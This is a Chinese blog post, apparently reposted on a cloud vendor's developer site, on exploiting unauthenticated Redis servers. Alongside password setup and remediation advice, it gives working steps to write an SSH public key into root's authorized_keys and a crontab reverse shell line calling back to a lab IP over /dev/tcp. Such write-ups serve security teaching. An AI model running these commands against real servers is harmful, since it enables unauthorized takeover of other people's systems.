redis未授权访问漏洞利用

本文涉及的产品
云数据库 Redis 版,社区版 2GB
推荐场景:
搭建游戏排行榜
简介:

各位大佬好!好久没写过博客记录了,最近挖了个redis未授权访问漏洞,并利用了一番,在此,分享下这个鸡肋却能直接获得服务器权限的漏洞。

0x01:redis基础

Redis默认配置是不需要密码认证的,也就是说只要连接的Redis服务器的host和port正确,就可以连接使用。这在安全性上会有一定的问题,所以需要启用Redis的认证密码,增加Redis服务器的安全性。

  • 修改配置文件

Redis的配置文件默认在/etc/redis.conf,找到如下行:

#requirepass foobared
去掉前面的注释,并修改为所需要的密码:

requirepass myPassword (其中myPassword就是要设置的密码)

  • 重启Redis

如果Redis已经配置为service服务,可以通过以下方式重启:

service redis restart
如果Redis没有配置为service服务,可以通过以下方式重启:

/usr/local/bin/redis-cli shutdown
/usr/local/bin/redis-server /etc/redis.conf

  • 登录验证

设置Redis认证密码后,客户端登录时需要使用-a参数输入认证密码,不添加该参数虽然也可以登录成功,但是没有任何操作权限。如下:

$ ./redis-cli -h 127.0.0.1 -p 6379
127.0.0.1:6379> keys *
(error) NOAUTH Authentication required.
使用密码认证登录,并验证操作权限:

$ ./redis-cli -h 127.0.0.1 -p 6379 -a myPassword
127.0.0.1:6379> config get requirepass
1) "requirepass"
2) "myPassword"
看到类似上面的输出,说明Reids密码认证配置成功。

0x02漏洞描述

漏洞描述:
Redis因配置不当可以未授权访问,被攻击者恶意利用。
攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据。
攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。
如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

危害:
攻击者可利用该漏洞写入计划任务反弹shell
攻击者可利用该漏洞写入ssh公钥远程连接。

0x03:漏洞利用

  1. 使用redis连接工具连接。windows下学习和连接redis,redis下载地址:https://github.com/dmajkic/redis/downloads
  2. 使用redis-cli.exe连接
    redis未授权访问漏洞利用

0x04:漏洞高级利用

利用原理:
1) SSH免密码登录,Linux下可以设置SSH免密码登录,方法为使用"公私钥"认证,即首先在客户端上创建一对公私钥 (公钥文件:~/.ssh/id_rsa.pub; 私钥文件:~/.ssh/id_rsa)。然后把公钥放到服务器上(~/.ssh/authorized_keys), 自己保留好私钥.在使用ssh登录时,ssh程序会发送私钥去和服务器上的公钥做匹配.如果匹配成功就可以登录了。详细可参考(http://jingyan.baidu.com/article/2fb0ba4043124a00f2ec5f0f.html )SSH免密码登陆远程服务器

2)Redis可通过Redis-CLI远程管理,设置Redis的默认路径以及数据库缓存文件。
方法如下:
config set dir /xxx
config set dbfilename xxxx
set xxxx "xxx"<br/>save

  • 漏洞条件

1.Redis服务使用ROOT账号启动
2.Redis服务无密码认证或者使用的是弱口令进行认证
3.服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。

首先在本地生成一对密钥:
redis未授权访问漏洞利用

然后通过redis-clis远程连接到目标redis服务器,执行以下命令
redis未授权访问漏洞利用
config set dir /root/.ssh/
config set dbfilename authorized_keys

set xxxx "\n\n\nssh-rsa key_pub\n\n\n",其中key_pub为上图生成的公钥,即可将公钥保存在远端服务器,使得登录时不需要输入账号与密码。Redis已经因该漏洞被入侵,并在其缓存数据库中发现被写入的公钥,建议用户马上对内部网络进行排查。

反弹shell

1、telnet登录/也可以redis-cli登录
redis未授权访问漏洞利用

telnet 192.168.236.130 6379//未授权登录

config set dir /var/spool/cron/ //配置文件夹的路径(CONFIG SET 命令可以动态地调整 Redis 服务器的配置而(configuration)而无须重启。)//每个用户生成的crontab文件,都会放在 /var/spool/cron/ 目录下面

set -.- "\n\n\n* * * * * bash -i &gt;& /dev/tcp/192.168.236.129/9999 0&gt;&1\n\n\n"//直接往当前用户的crontab里写入反弹shell,换行是必不可少的。

2.nc反弹
redis未授权访问漏洞利用
3.Centos里面查看crontab任务。
redis未授权访问漏洞利用

0x06:漏洞修复

该漏洞的修补方法如下:
1)禁止使用 root 权限启动 redis 服务;
2)对 redis 访问启用密码认证,并且添加 IP 访问限制;
3)尽可能不对公网直接开放 SSH 服务。


本文转自 wt7315 51CTO博客,原文链接:http://blog.51cto.com/wt7315/2051136


相关实践学习
基于Redis实现在线游戏积分排行榜
本场景将介绍如何基于Redis数据库实现在线游戏中的游戏玩家积分排行榜功能。
云数据库 Redis 版使用教程
云数据库Redis版是兼容Redis协议标准的、提供持久化的内存数据库服务,基于高可靠双机热备架构及可无缝扩展的集群架构,满足高读写性能场景及容量需弹性变配的业务需求。 产品详情:https://www.aliyun.com/product/kvstore &nbsp; &nbsp; ------------------------------------------------------------------------- 阿里云数据库体验:数据库上云实战 开发者云会免费提供一台带自建MySQL的源数据库&nbsp;ECS 实例和一台目标数据库&nbsp;RDS实例。跟着指引,您可以一步步实现将ECS自建数据库迁移到目标数据库RDS。 点击下方链接,领取免费ECS&amp;RDS资源,30分钟完成数据库上云实战!https://developer.aliyun.com/adc/scenario/51eefbd1894e42f6bb9acacadd3f9121?spm=a2c6h.13788135.J_3257954370.9.4ba85f24utseFl
相关文章
|
NoSQL 安全 网络协议
|
16天前
|
NoSQL 安全 网络安全
Redis连接:加速数据访问与保障安全传输的关键
Redis连接:加速数据访问与保障安全传输的关键
|
2月前
|
缓存 NoSQL Java
一次访问Redis延时高问题排查与总结
作者抽丝剥茧的记录了一次访问Redis延时高问题的排查和总结。
397 1
|
7月前
|
NoSQL 安全 Shell
Redis未授权+CVE-2019-0708组合拳利用
Redis未授权+CVE-2019-0708组合拳利用
54 0
|
7月前
|
缓存 NoSQL 关系型数据库
课时3:通过缓存来加速数据库访问(MySQL+Redis)
课时3:通过缓存来加速数据库访问(MySQL+Redis)
151 0
|
8月前
|
NoSQL Redis Docker
访问redis集群提示连接超时的问题
访问redis集群提示连接超时的问题
174 0
|
9月前
|
监控 NoSQL Java
记一次应用访问Redis超时的案例分析
记一次应用访问Redis超时的案例分析
219 2
|
10月前
|
存储 缓存 NoSQL
还在只用RedisTemplate访问Redis吗
还在只用RedisTemplate访问Redis吗
50 0
|
11月前
|
NoSQL 算法 Java
Redis-21Redis集群模式-Centos6.5上3台主机3主3从的配置及通过代码访问集群
Redis-21Redis集群模式-Centos6.5上3台主机3主3从的配置及通过代码访问集群
92 0
|
11月前
|
NoSQL 安全 Shell
Redis未授权访问漏洞(自写自动化利用EXP分享)
# 前言: 之前已经有文章写过redis未授权访问的利用总结了,这次主要是py脚本自动化的一个小分享吧。也算是对自己学习的一个记录..
216 0

热门文章

最新文章